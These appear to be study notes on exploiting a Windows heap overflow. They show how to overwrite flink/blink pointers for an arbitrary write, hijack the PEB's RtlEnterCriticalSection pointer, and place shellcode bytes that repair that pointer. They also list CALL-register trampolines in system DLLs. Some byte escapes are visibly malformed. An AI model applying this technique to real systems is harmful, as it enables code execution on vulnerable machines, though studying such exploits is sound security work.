For Visual C++,use the release version to test the code
To prevent the application detect the debugger and use the debug management policy, we should add a command '_asm int 3' after the heap initialise. The application will stop after the heap create. Now, Attach the process to the debugger to test
To study heap.
1. heap_vis plugin for Ollydbg can be used to check the heap.
2. directly go to the heap location with Ctrl + G
To overflow the heap, put in flink to 0x44444444, blink to 0x00000000. the last distributing function work, exception run, because cannot write 0x44444444 to 0x00000000. If we change the target to legitimate address, 0x44444444 will write to the target.
When application exit, ExirProcess() will execute. It will trigger RtlEnterCriticalSection() and RtlLeaveCriticalSection() to syncronise thread.
RtlEnterCriticalSection() ---> 0x7FFDF020
RtlLeaveCriticalSection() ---> 0x7FFDF024
To prevent error, we need to repair the pointer of Rtl..(). (the PEB pointer)
0x7FFDf020 usually have a pointer to 0x77F8AA4C
Example of the shellcode
char shellcode =
//repair the pointer which shooted by heap overrun
"xB8\x20\xF0\xFD\x7F" // MOV EAX, 7FFDF020
"xBB\x4C\xAA\xF8\x77" //MOV EBX, 77F8AA4c the address need to verify with diff OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\x16\x01\x1A\x00\x00\x00\x00\x00" //head of the adjacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f"; //0x00520688 is the add of shellcode in the heap block
//0x7ffdf020 is the add of RtlEnterCriticalSection()
1.For heap overflow, usually we need to repair the heap environment
2.Testing in debuging and release mode is diff. Solution is the _asm int 3
3.To correctly verify the shellcode address, David Litchfield suggested use
these as jumping command. It can be found in netapi32.dll, user32.dl, rpcrt4.dll
CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI + 0x4c]
CALL DWORD PTR [EBP + 0x74]